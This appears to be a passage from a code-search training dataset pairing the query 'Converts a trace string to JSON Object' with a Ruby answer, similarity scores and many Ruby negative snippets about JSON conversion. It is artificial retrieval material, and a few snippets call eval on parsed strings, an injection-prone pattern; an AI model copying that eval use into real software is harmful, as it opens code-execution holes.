"0.57020986",
"0.5660831",
"0.561725",
"0.56159425",
"0.5576391",
"0.55395347",
"0.55385673",
"0.5534324",
"0.553316",
"0.5531931",
"0.55236965",
"0.5522855",
"0.552219",
"0.5509688",
"0.55025625",
"0.5496973",
"0.5475595",
"0.5474975",
"0.5474102",
"0.54720676",
"0.5465957",
"0.5465957",
"0.54595566",
"0.54494274",
"0.54461217",
"0.5445117",
"0.5444752",
"0.543531",
"0.543531",
"0.5431743",
"0.5416405",
"0.5416405",
"0.5395338",
"0.5394939",
"0.5393029",
"0.5392007",
"0.53911054",
"0.53681225",
"0.53669226",
"0.53610265",
"0.53603333",
"0.53600395",
"0.53578657",
"0.53561145",
"0.53551126",
"0.5352872",
"0.53491205",
"0.5339566",
"0.5337226",
"0.53355694",
"0.53227913",
"0.53227854",
"0.53198844",
"0.5318191",
"0.5318103",
"0.5317441",
"0.5315472",
"0.5315472",
"0.5315472",
"0.53110653",
"0.53062224",
"0.53036964",
"0.53036636",
"0.5302727",
"0.53006643",
"0.529639",
"0.52938974",
"0.52890134",
"0.5287846",
"0.52754444",
"0.52748007",
"0.5274657",
"0.52706033",
"0.52683234",
"0.5268282",
"0.5268239",
"0.52641225",
"0.526122",
"0.526122",
"0.5252796",
"0.5251565"
] | 0.722608 | 0 |
Converts a trace string to JSON Object | def convert_json_trace_to_object(trace)
JSON.parse(trace[1...-1].insert(0, '{'), object_class: OpenStruct)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def return_json_string\n @traces_json_string\n end",
"def to_json(*_args)\n @trace.to_json\n end",
"def load(string)\n ActiveSupport::JSON.decode string\n end",
"def load(string)\n ActiveSupport::JSON.decode string\n end",
"def meta_to_json(str)\n key_pairs = str.split(',')\n h_kp = {}\n key_pairs.each do | kp |\n a_kp = kp.split('=')\n key = a_kp[0]\n val = a_kp[1]\n h_kp[key] = val\n end\n return h_kp.to_json\n end",
"def json_to_obj json_str\n hash_to_obj(parse_json(json_str))\n end",
"def unserialize(string)\n data = JSON.parse(string)\n data\n end",
"def json()\n @trace_arr.map{|trace| \n tile = trace.json \n @tiles[trace.id] = trace\n trace.id\n }\n end",
"def parse_json str\n JSON.parse str rescue raise ConfigError, \"Invalid JSON\"\n end",
"def string_to_hash(str)\n JSON.parse(str)\nend",
"def parse_json(str)\n Yajl::Parser.parse(str)\n end",
"def parse_string_to_json(response)\n JSON.parse(response)\n rescue JSON::ParserError\n response\n end",
"def entry_as_json(entry)\n data = {}\n set_attribute(data, @time_key, entry.time) unless @time_key.nil?\n set_attribute(data, @severity_key, entry.severity_label) unless @severity_key.nil?\n set_attribute(data, @progname_key, entry.progname) unless @progname_key.nil?\n set_attribute(data, @pid_key, entry.pid) unless @pid_key.nil?\n set_attribute(data, @message_key, entry.message) unless @message_key.nil?\n\n tags = entry.tags\n if @custom_keys.size > 0\n tags = (tags.nil? ? {} : tags.dup)\n @custom_keys.each do |name, key|\n set_attribute(data, key, tags.delete(name.to_s))\n end\n end\n\n unless @tags_key.nil?\n tags ||= {}\n set_attribute(data, @tags_key, tags)\n end\n\n data = @formatter.format(data) if @formatter\n data\n end",
"def convert_it_to_hash_format(object)\n JSON.parse(object)\n end",
"def pjson(str)\n Oj.load(str)\nend",
"def e(object)\n require 'json'\n object.respond_to?(:to_json) ? object.to_json : object.to_s.to_json\n end",
"def json_from_text(name)\n JSON.parse(read_text(name))\nend",
"def as_json(*args)\n eval(to_s).as_json(*args)\n end",
"def responseToJson(responseString)\n # responseJson = JSON.parse(responseString)\n responseJson\n end",
"def serialize_track(track)\n json = \"{\\\"id\\\": #{track.id},\n \\\"name\\\": \\\"#{track.name}\\\",\n \\\"artist\\\": {\\\"id\\\": #{track.artist.id},\\\"name\\\": \\\"#{track.artist.name}\\\"},\n \\\"release\\\": {\\\"id\\\": #{track.release.id},\\\"name\\\": \\\"#{track.release.name}\\\"},\n \\\"file\\\": \\\"#{track.file.url}\\\"}\"\n end",
"def serialize_in(json_string, options = {})\n super(ActiveSupport::JSON.decode(json_string), options)\n end",
"def convert_span obj\n TraceProtos::Span.new \\\n name: make_resource_name(@project_id, obj.trace_id, obj.span_id),\n span_id: obj.span_id,\n parent_span_id: obj.parent_span_id || \"\",\n display_name: convert_truncatable_string(obj.name),\n start_time: convert_time(obj.start_time),\n end_time: convert_time(obj.end_time),\n attributes:\n convert_attributes(obj.attributes,\n obj.dropped_attributes_count,\n include_agent_attribute: true),\n stack_trace:\n convert_stack_trace(obj.stack_trace, obj.dropped_frames_count,\n obj.stack_trace_hash_id),\n time_events:\n convert_time_events(obj.time_events,\n obj.dropped_annotations_count,\n obj.dropped_message_events_count),\n links: convert_links(obj.links, obj.dropped_links_count),\n status: convert_optional_status(obj.status),\n same_process_as_parent_span:\n convert_optional_bool(obj.same_process_as_parent_span),\n child_span_count: convert_optional_int32(obj.child_span_count)\n end",
"def format(tag, time, record)\n [tag, time, record].to_json + \"\\n\"\n ## Alternatively, use msgpack to serialize the object.\n # [tag, time, record].to_msgpack\n end",
"def to_json(*args)\n eval(to_s).to_json(*args)\n end",
"def deserialize(string)\n string\n end",
"def json(str)\n @headers[Rack::CONTENT_TYPE] = ContentType::JSON\n write(str)\n end",
"def to_json(json)\n begin\n JSON.parse(json)\n rescue\n json\n end\n end",
"def to_json\n obj = @options.clone\n # Remove non-JSON objects.\n obj.reject!{|k,v|\n !k.is_a?(String) && !k.is_a?(Symbol) || !@@valid_types.include?(v.class)\n }\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # If it's not a string then turn Symbols into String and replace => and nil.\n json_string = obj.inspect.split(/(\\\"(?:.*?[^\\\\])*?\\\")/).\n collect{|s|\n (s[0..0] != '\"') ? # If we are not inside a string\n s.gsub(/\\:(\\S+?(?=\\=>|\\s|,|\\}))/, \"\\\"\\\\1\\\"\"). # Symbols to String\n gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s # If it's a string don't touch it.\n }.join\n return json_string\nend",
"def parseJsonString(jsonString) \n $jsonObjectMain = JSON.parse(jsonString);\n return $jsonObjectMain;\nend",
"def to_hds_json json_string\n @document = to_hds(json_string)\n @document.to_json.to_json\n end",
"def parse(json_str)\n e = Pointer.new(:object)\n NSJSONSerialization.JSONObjectWithData(\n json_str.dataUsingEncoding(NSUTF8StringEncoding),\n options: 0,\n error: e)\n end",
"def pbParseJson(str)\n if !pbIsJsonString(str)\n return nil\n end\n stringRE=/(\\\"(\\\\[\\\"\\'\\\\rntbf]|\\\\u[0-9A-Fa-f]{4,4}|[^\\\\\\\"])*\\\")/ #\"\n strings=[]\n str=str.gsub(stringRE){\n sl=strings.length\n ss=$1\n if ss.include?(\"\\\\u\")\n ss.gsub!(/\\\\u([0-9A-Fa-f]{4,4})/){\n codepoint=$1.to_i(16)\n if codepoint<=0x7F\n next sprintf(\"\\\\x%02X\",codepoint)\n elsif codepoint<=0x7FF\n next sprintf(\"%s%s\",\n (0xC0|((codepoint>>6)&0x1F)).chr,\n (0x80|(codepoint &0x3F)).chr)\n else\n next sprintf(\"%s%s%s\",\n (0xE0|((codepoint>>12)&0x0F)).chr,\n (0x80|((codepoint>>6)&0x3F)).chr,\n (0x80|(codepoint &0x3F)).chr)\n end\n }\n end\n strings.push(eval(ss))\n next sprintf(\"strings[%d]\",sl)\n }\n str=str.gsub(/\\:/,\"=>\")\n str=str.gsub(/null/,\"nil\")\n return eval(\"(\"+str+\")\")\nend",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def ArrJson(str)\n tmp = \"\"\n tmp += (\"[\" + str + \"]\")\n tmp\n end",
"def json_parse(str)\n results = JSON.parse(str)\n case results\n when Hash\n results.extend Sym_Keys_For_Hash\n results.symbolize_keys\n when Array\n results.symbolize_hash_keys\n else\n results\n end\nend",
"def format_event(evt)\n parts = evt.split(\"\\n\").map do |entry|\n chunks = entry.split('=')\n key = chunks.shift.strip\n value = chunks.join.strip.sub(/^'/, '').sub(/'$/, '').strip\n [key, value]\n end\n event = Smash[parts]\n unless(event['ResourceProperties'].to_s.empty?)\n begin\n event['ResourceProperties'] = MultiJson.load(event['ResourceProperties'])\n rescue MultiJson::LoadError => e\n error \"Failed to load `ResourceProperties`: #{e.class} - #{e}\"\n debug \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n else\n event['ResourceProperties'] = {}\n end\n Smash.new(Carnivore::Utils.symbolize_hash(event))\n end",
"def to_json(obj)\n json_classes = [String, Symbol, Fixnum, Float, Array, Hash, TrueClass, FalseClass, NilClass]\n # Remove non-JSON objects.\n sanitize = nil\n sanitize = Proc.new{ |v|\n if v.is_a?(Array)\n new_v = []\n v.each{ |a| new_v << sanitize.call(a) if json_classes.include?(a.class)}\n new_v\n elsif v.is_a?(Hash)\n new_v = {}\n v.each{ |k, w| new_v[k.to_s] = sanitize.call(w) if (k.is_a?(String) || k.is_a?(Symbol)) && json_classes.include?(w.class) }\n new_v\n elsif v.is_a?(Symbol)\n v.to_s\n else\n v\n end\n }\n if json_classes.include?(obj.class)\n o = sanitize.call(obj)\n else\n return \"null\"\n end\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # Replace => and nil.\n json_string = o.inspect.split(/(\\\"(?:.*?(?:[\\\\][\\\\]*?|[^\\\\]))*?\\\")/).\n collect{ |s|\n (s[0..0] != '\"')? # If we are not inside a string\n s.gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s\n }.join\n return json_string\nend",
"def recupera_json(nome_arq)\n linha = ''\n File.open(nome_arq, 'r').each_line do |line|\n if line.include? 'trackinfo: '\n linha = line\n break\n end\n end\n linha.slice!(-2..-1)\n linha.slice!(' trackinfo: ')\n JSON.parse linha\nend",
"def to_tf_json(structure)\n # structure_top_level_key = structure[:structure].keys.first\n k = structure[:structure].keys.first\n h = structure[:structure][k]\n ret = []\n ret << 34.chr + k.to_s + 34.chr + ' : { '\n ret << %(\"#{h.keys.first}\" : #{JSON.pretty_generate(h[h.keys.first])})\n ret << '},'\n end",
"def json\n value.sub(/^serialized-/, '')\n end",
"def extract_json(stdout_string)\n # The output from the docker format command is a JSON string per line.\n # We can't do a direct convert but this helper method will convert it into\n # an array of Objects\n stdout_string.split(\"\\n\")\n .reject { |str| str.strip.empty? }\n .map { |str| JSON.parse(str) }\n end",
"def decode_and_parse_json(string)\n JSON.parse(string)\nrescue\n JSON.parse(Base64.decode64(string))\nend",
"def json_parse(string)\n json_string_to_hash(string)\n # if string.class == String && string == \"null\"\n # nil\n # else\n # JSON.parse(string, {:symbolize_names => true})\n # end\nend",
"def format(tag, time, record)\n # [tag, time, record].to_json + \"\\n\"\n ## Alternatively, use msgpack to serialize the object.\n [tag, time, record].to_msgpack\n end",
"def to_json(fd, source)\n result_set = []\n fd.puts \"{\", \" 'datetime': '#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}',\" , \" 'state': {\"\n parse(source, result_set)\n result_set.each { |x| fd.puts \" '#{x[0]}': '#{x[1]}',\" }\n fd.puts \" 'end': ''\", \" }\\n}\"\nend",
"def object_to_json(obj)\n JSON(obj)\nend",
"def to_hash\n @trace\n end",
"def mlog_json(o)\n a = '1;7;48'\n fmt = \"\\033[1;34;4m%s:%d <%s>-:▼ %s\\n\\033[0m\"\n caller_infos = caller.first.split(\":\")\n print fmt % [caller_infos[0].split(\"/\")[-1].to_s, caller_infos[1], Time.new.strftime(\"%H:%M:%S\"), caller_infos[0].to_s]\n pp o\nend",
"def to_json(obj=@data)\n json_classes = [String, Symbol, Fixnum, Float, Array, Hash, TrueClass, FalseClass, NilClass]\n # Remove non-JSON objects.\n sanitize = nil\n sanitize = Proc.new{ |v|\n if v.is_a?(Array)\n new_v = []\n v.each{ |a| new_v << sanitize.call(a) if json_classes.include?(a.class)}\n new_v\n elsif v.is_a?(Hash)\n new_v = {}\n v.each{ |c, w|\n if (c.is_a?(String) || c.is_a?(Symbol)) && json_classes.include?(w.class)\n new_v[c] = sanitize.call(w)\n end\n }\n new_v\n else\n v\n end\n }\n if json_classes.include?(obj.class)\n o = sanitize.call(obj)\n else\n return \"null\"\n end\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # If it's not a string then turn Symbols into String and replace => and nil.\n json_string = o.inspect.split(/(\\\"(?:.*?[^\\\\])*?\\\")/).\n collect{ |s|\n (s[0..0] != '\"') ? # If we are not inside a string\n s.gsub(/\\:(\\S+?(?=\\=>|\\s))/, \"\\\"\\\\1\\\"\"). # Symbols to String\n gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s\n }.join\n return json_string\n end",
"def json(input)\n JSON.dump(input)\n end",
"def stringify_json_attributes(record)\n record.each_with_object({}) { |(key, value), hash| hash[key] = json_values_to_string(value) }\n end",
"def format(tag, time, record)\n #log.trace \"splunk-http-eventcollector(format) called\"\n # Basic object for Splunk. Note explicit type-casting to avoid accidental errors.\n\n placeholder_values = {\n 'tag' => tag,\n 'tag_parts' => tag.split('.'),\n 'hostname' => @hostname,\n 'record' => record\n }\n\n placeholders = @placeholder_expander.prepare_placeholders(placeholder_values)\n\n splunk_object = Hash[\n # for v0.14 millisecs time precision\n \"time\" => time.is_a?(Integer) ? time.to_i : time.to_f,\n \"source\" => if @source.nil? then tag.to_s else @placeholder_expander.expand(@source, placeholders) end,\n \"sourcetype\" => @placeholder_expander.expand(@sourcetype.to_s, placeholders),\n \"host\" => @placeholder_expander.expand(@host.to_s, placeholders),\n \"index\" => @placeholder_expander.expand(@index, placeholders)\n ]\n # TODO: parse different source types as expected: KVP, JSON, TEXT\n if @all_items\n splunk_object[\"event\"] = convert_to_utf8(record)\n else\n splunk_object[\"event\"] = convert_to_utf8(record[\"message\"])\n end\n\n json_event = splunk_object.to_json\n #log.debug \"Generated JSON(#{json_event.class.to_s}): #{json_event.to_s}\"\n #log.debug \"format: returning: #{[tag, record].to_json.to_s}\"\n json_event\n end",
"def stringify\n json_hash = {}\n\n begin\n json_hash = Serializer.serialize(self, class: self.class.name)\n rescue JSON::JSONError => e\n warn \"#{__FILE__}.#{__LINE__}: #{e.message}\"\n end\n\n json_hash.to_json\n end",
"def as_json\n to_s.as_json\n end",
"def decode_json(json_str)\n convert_dates_from(JSON.parse(json_str, symbolize_names: true))\n end",
"def jsonify(input); end",
"def to_h\n JSON.parse(@body)\n rescue Exception => e\n log.error Howitzer::ParseError, e.message\n end",
"def toJsonString(prettyP = false)\n case(prettyP)\n when(true) ;\n return JSON.pretty_generate(toJson()) ;\n when(:line) ;\n _strList = @entryList.map{|entry| JSON.generate(entry.toJson())} ;\n return \"[\\n #{_strList.join(\",\\n \")}\\n]\" ;\n else\n return JSON.generate(toJson()) ;\n end\n end",
"def to_json(what)\n what.to_hash.to_json\n end",
"def reserialize_json(string, fail_value = PLACEHOLDER)\n return string unless block_given?\n begin\n JSON.dump(yield(JSON.parse(string)))\n rescue JSON::ParserError\n # If it can't parse/dump, don't raise an error.\n fail_value\n end\n end",
"def json(body)\n JSON.parse(body, symbolize_name: true)\n end",
"def parse_and_replace_contents(record)\n JSON.parse(record.contents).tap do |content|\n content['from'] = Gdpr::REPLACE_STRING if record.call.inbound?\n content['to'] = Gdpr::REPLACE_STRING if record.call.outbound?\n end.to_json\n end",
"def tjson(str)\n path = tmp_file(str)\n \n if File.exists?(path)\n fjson(path)\n else\n fjson(tmp_file(\"#{str}.json\"))\n end\nend",
"def read_as_json(filename)\n @log.info(\"Converting file #{filename} to JSON\")\n @payload = File.read(filename)\nend",
"def report_to_json(report)\n cleaned = cleaner.clean_object(report.as_json)\n trimmed = Bugsnag::Helpers.trim_if_needed(cleaned)\n\n ::JSON.dump(trimmed)\n end",
"def json_parse (s)\n\n #defined?(ActiveSupport::JSON) ? ActiveSupport::JSON.decode(s) :\n #JSON.parse(s)\n OpenWFE::Json.decode( s )\nend",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count][email protected]\n body[:errors]=@errors\n end\n body.to_json\n end",
"def fjson(str)\n pjson(File.open(str))\nend",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def json(body)\n JSON.parse(body, symbolize_names: true)\n end",
"def json(body)\n JSON.parse(body, symbolize_names: true)\n end",
"def json( *args )\n ::Logging::Layouts::Parseable.json(*args)\n end",
"def escaped_json\n json = to_json(:include => :trade_lines)\n return CGI.escape(json)\n end",
"def parse\n JSON.parse(raw)\n rescue RuntimeError\n raise \"cannot read from #{path}\"\n end",
"def splitJSON2(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":([\\S\\s]*?),/)[0]\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def _parse_json(s)\n begin\n Sequel.parse_json(s)\n rescue Sequel.json_parser_error_class => e\n raise Sequel.convert_exception_class(e, Sequel::InvalidValue)\n end\n end",
"def _convertJSON() \n js=\"\"\n \tbegin\n gem \"json\"\n\t\t js = JSON.parse(self.response)\n rescue\n puts \"Error during JSON. #{$!}\"\n end\n\n return js\n\tend",
"def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end",
"def encode_traces(traces)\n to_send = []\n traces.each do |trace|\n to_send << trace.map(&:to_hash)\n end\n encode(to_send)\n end",
"def from_json string\n _assign_attributes JSON.parse(string)\n end",
"def parse_json(message)\n begin\n parsed_message = ::JSON.parse(message) # parse json message\n rescue => e\n puts 'Error'\n puts e\n rescue JSON::ParserError => e\n return message, e.to_s + \"\\n\"\n end\n [parsed_message, nil]\n end",
"def escape_json_string(str)\n begin\n \"\\\"#{\n str.gsub(/[\\010\\f\\n\\r\\t\"\\\\><&]/) { |s| ESCAPED_CHARS[s] }.\n gsub(/([\\xC0-\\xDF][\\x80-\\xBF]|\n [\\xE0-\\xEF][\\x80-\\xBF]{2}|\n [\\xF0-\\xF7][\\x80-\\xBF]{3})+/nx) do |s|\n s.unpack(\"U*\").pack(\"n*\").unpack(\"H*\")[0].gsub(/.{4}/, '\\\\\\\\u\\&')\n end\n }\\\"\"\n rescue Encoding::CompatibilityError\n rawbytes = str.dup.force_encoding 'ASCII-8BIT'\n escape_json_string(rawbytes)\n end\n end",
"def to_json\n to_s.to_json\n end",
"def splitJSON(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":\"([\\S\\s]*?)\"/)\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def json_report(test_report)\n test_report.to_json\n end",
"def on_entry_json(name, date_str, json_string)\n on_entry_str(name, date_str, json_string, \"json\")\n end",
"def to_json\n to_parsed.to_json\n end",
"def header_to_json(header)\n @log.info \"[#{Time.now.iso8601}] In header: #{header.to_s} \"\n header = Yajl.load(header)\n\n if header[\"error\"]\n # Raise this as a Ruby exception of the MentosError class.\n # Stop so we don't leave the pipe in an inconsistent state.\n @log.error \"[#{Time.now.iso8601}] Failed to convert header to JSON.\"\n stop header[\"error\"]\n raise MentosError, header[\"error\"]\n else\n header\n end\n end",
"def json_from(asset)\n { asset_identifier: asset.asset_id,\n resource_identifier: asset.identifier,\n mime_type: asset.media_type,\n capture_device: asset.capture_device,\n file_created_date: asset.create_date('%Y-%m-%d %H:%M:%S.%6L'),\n date_imaged: asset.date_imaged,\n copyright_holder: asset.copyright,\n checksum: asset.md5sum }.to_json\n end",
"def json_serialize\n end",
"def json_to_object(json)\n JSON(json)\nend",
"def to_json(*a)\n {\n 'from' => @from,\n 'to' => @to,\n 'message' => @message,\n 'at' => @time.to_i\n }.to_json(*a)\n end",
"def json\n @paren_obj = get_paren(@type, @value)\n case @paren_obj\n when Regextest::Front::Parenthesis::Paren\n name = @paren_obj.name\n refer_name = @paren_obj.refer_name\n when :WHOLE_REG_EXPRESSION\n name = \"\"\n refer_name = \"$$_0\"\n else\n raise \"Error: parenthesis not found: type: #{@type}, value: #{@value}\"\n end\n \n @@id += 1\n \"{\\\"type\\\": \\\"#{@type}\\\", \" +\n \"\\\"value\\\": \\\"#{@value}\\\", \" +\n \"\\\"offset\\\": \\\"#{@offset}\\\", \" +\n \"\\\"length\\\": \\\"#{@length}\\\", \" +\n \"\\\"name\\\": \\\"#{name}\\\", \" +\n \" \\\"id\\\": \\\"c#{@@id}\\\", \" +\n \"\\\"refer_name\\\": \\\"#{refer_name}\\\", \" +\n \"\\\"relative_num\\\": \\\"#{@relative_num}\\\" \" +\n \"}\"\n end",
"def as_json(_options = {})\n {application: application, class_name: class_name, file: file, function: function,\n line: line, module_name: module_name, vm_pid: vm_pid}\n end",
"def to_json\n # Convert Object to Hash\n hash = self.to_hash\n\n # Grab the Step objects and convert to Hashes\n steps = hash['steps']\n hashified_steps = []\n steps.each {|step| hashified_steps << step.to_hash}\n hash['steps'] = hashified_steps\n\n # Convert Hash to JSON\n hash.to_json\n end",
"def host_details_serialized\n JSON.parse(host_details)\n end",
"def as_json(options = {})\n options = {\n :encoded => true,\n :level => 3\n }.merge options\n\n if options[:encoded]\n {\n :type => 'lineString',\n :encoded => true\n }.merge(Geos::GoogleMaps::PolylineEncoder.encode(self.to_a, options[:level]))\n else\n {\n :type => 'lineString',\n :encoded => false,\n :points => self.to_a\n }\n end\n end",
"def to_json_string\n MARC::JSONLWriter.encode(self)\n end"
] | [
"0.6320628",
"0.6235496",
"0.578373",
"0.578373",
"0.5767151",
"0.56942123",
"0.5670016",
"0.56492263",
"0.5531835",
"0.55062896",
"0.5493804",
"0.546757",
"0.5374033",
"0.5363098",
"0.53590876",
"0.5348716",
"0.52849364",
"0.52409697",
"0.5237889",
"0.52342045",
"0.52288604",
"0.521112",
"0.51828045",
"0.5182706",
"0.5177303",
"0.51705474",
"0.5153922",
"0.51462644",
"0.51460046",
"0.5135658",
"0.5115234",
"0.51068455",
"0.5098729",
"0.5098729",
"0.5098729",
"0.5098729",
"0.50925463",
"0.5084404",
"0.5065561",
"0.50460166",
"0.5034994",
"0.5032235",
"0.5031403",
"0.50223356",
"0.5006402",
"0.49975204",
"0.495556",
"0.49510527",
"0.49460927",
"0.49455145",
"0.49288398",
"0.49265236",
"0.4916325",
"0.49050203",
"0.49026746",
"0.48972952",
"0.4894471",
"0.4883256",
"0.48801786",
"0.4877082",
"0.48741114",
"0.4871942",
"0.48654458",
"0.48593011",
"0.48496133",
"0.48478332",
"0.4846492",
"0.48452508",
"0.4844874",
"0.48431233",
"0.48344794",
"0.48341054",
"0.48341054",
"0.4826062",
"0.48217192",
"0.480608",
"0.48059183",
"0.47930184",
"0.4789982",
"0.47829682",
"0.4779973",
"0.4768241",
"0.4767539",
"0.47674137",
"0.47657344",
"0.4763363",
"0.4761529",
"0.47559014",
"0.47554561",
"0.47531363",
"0.4747761",
"0.47382343",
"0.4730578",
"0.47273728",
"0.47255573",
"0.47053298",
"0.4693754",
"0.46872306",
"0.46824127",
"0.4680612"
] | 0.6937454 | 0 |
Converts all traces strings into JSON objects | def convert_list_of_json_traces_to_objects(list_of_traces)
list_of_traces.each do |trace|
@traces << convert_json_trace_to_object(trace)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def return_json_string\n @traces_json_string\n end",
"def json()\n @trace_arr.map{|trace| \n tile = trace.json \n @tiles[trace.id] = trace\n trace.id\n }\n end",
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def to_json(*_args)\n @trace.to_json\n end",
"def encode_traces(traces)\n to_send = []\n traces.each do |trace|\n to_send << trace.map(&:to_hash)\n end\n encode(to_send)\n end",
"def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end",
"def convert_json_trace_to_object(trace)\n JSON.parse(trace[1...-1].insert(0, '{'), object_class: OpenStruct)\n end",
"def events_jsonify(events)\n\t\t\tevents.collect do |event|\n\t\t\t\t{ id: event.id,\n\t\t\t\t\tname: event.name,\n\t\t\t\t\tsummary: event.summary,\n\t\t\t\t\tstart_era: event.start_era,\n\t\t\t\t\tstart_date: \"#{event.start_date or 0}/#{event.start_month or 0}/#{event.start_year}\",\n\t\t\t\t\tend_date: \"#{event.end_date or 0}/#{event.end_month or 0}/#{event.end_year or event.start_year}\",\n\t\t\t\t\tarcs: event.arcs,\n\t\t\t\t\tentities: event.entities }\n\t\t\tend.to_json\n\t\tend",
"def entry_as_json(entry)\n data = {}\n set_attribute(data, @time_key, entry.time) unless @time_key.nil?\n set_attribute(data, @severity_key, entry.severity_label) unless @severity_key.nil?\n set_attribute(data, @progname_key, entry.progname) unless @progname_key.nil?\n set_attribute(data, @pid_key, entry.pid) unless @pid_key.nil?\n set_attribute(data, @message_key, entry.message) unless @message_key.nil?\n\n tags = entry.tags\n if @custom_keys.size > 0\n tags = (tags.nil? ? {} : tags.dup)\n @custom_keys.each do |name, key|\n set_attribute(data, key, tags.delete(name.to_s))\n end\n end\n\n unless @tags_key.nil?\n tags ||= {}\n set_attribute(data, @tags_key, tags)\n end\n\n data = @formatter.format(data) if @formatter\n data\n end",
"def json_with_speedy_arrays(source)\n source.to_json.gsub('\"[[[','[[[').gsub(']]]\"', ']]]').html_safe #.gsub('\\\\', '')\n end",
"def create_traces_text_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_trace |\n story_oid = @story_TagFidOidName_by_reqid[this_trace][1]\n if !story_oid.nil? then\n this_trace_name = this_trace\n story_url_detail = \"#{detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{story_url_detail}\\\">#{this_trace_name}</a>\"\n end\n \n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end \n return traces_markup\nend",
"def event_type_to_json(event_type)\n et = event_type.to_json(\n only: [:id, :name, :description, :recipients, :program, :created_at, :updated_at, :goal, \n :duration, :faq, :elevator_pitch, :learnings, :takeaways, :subtitle, :csd_eligible, :is_kleer_certification, \n :external_site_url, :deleted, :noindex, :lang, :cover, :side_image, :brochure, :new_version, :extra_script], \n methods: %i[slug canonical_slug], include: [:categories, \n next_events: {only: [\n :id, :date, :place, :city, :country_id, :list_price, :eb_price, :eb_end_date, :registration_link, \n :is_sold_out, :duration, :start_time, :end_time, :time_zone_name, :currency_iso_code, :address, :finish_date], methods: :trainers} ])\n et = \"#{et[0..-2]},\\\"testimonies\\\":#{event_type.testimonies.where(selected: true).first(10).to_json(\n only: [:fname, :lname, :testimony, :profile_url, :photo_url]\n )}}\"\n end",
"def e(object)\n require 'json'\n object.respond_to?(:to_json) ? object.to_json : object.to_s.to_json\n end",
"def jsonify(input); end",
"def report_to_json(report)\n cleaned = cleaner.clean_object(report.as_json)\n trimmed = Bugsnag::Helpers.trim_if_needed(cleaned)\n\n ::JSON.dump(trimmed)\n end",
"def serialize_tracks(tracks)\n json = \"{[\"\n # Add each track to the JSON.\n tracks.each do |track|\n json += serialize_track(track)\n # Add a comma if there are more tracks.\n json += \",\" unless track == tracks.last\n end\n # Close out the JSON and return.\n json += \"]}\"\n end",
"def to_json\n obj = @options.clone\n # Remove non-JSON objects.\n obj.reject!{|k,v|\n !k.is_a?(String) && !k.is_a?(Symbol) || !@@valid_types.include?(v.class)\n }\n # Split at every even number of unescaped quotes. This gives either strings\n # or what is between strings.\n # If it's not a string then turn Symbols into String and replace => and nil.\n json_string = obj.inspect.split(/(\\\"(?:.*?[^\\\\])*?\\\")/).\n collect{|s|\n (s[0..0] != '\"') ? # If we are not inside a string\n s.gsub(/\\:(\\S+?(?=\\=>|\\s|,|\\}))/, \"\\\"\\\\1\\\"\"). # Symbols to String\n gsub(/\\=\\>/, \":\"). # Arrow to colon\n gsub(/\\bnil\\b/, \"null\") : # nil to null\n s # If it's a string don't touch it.\n }.join\n return json_string\nend",
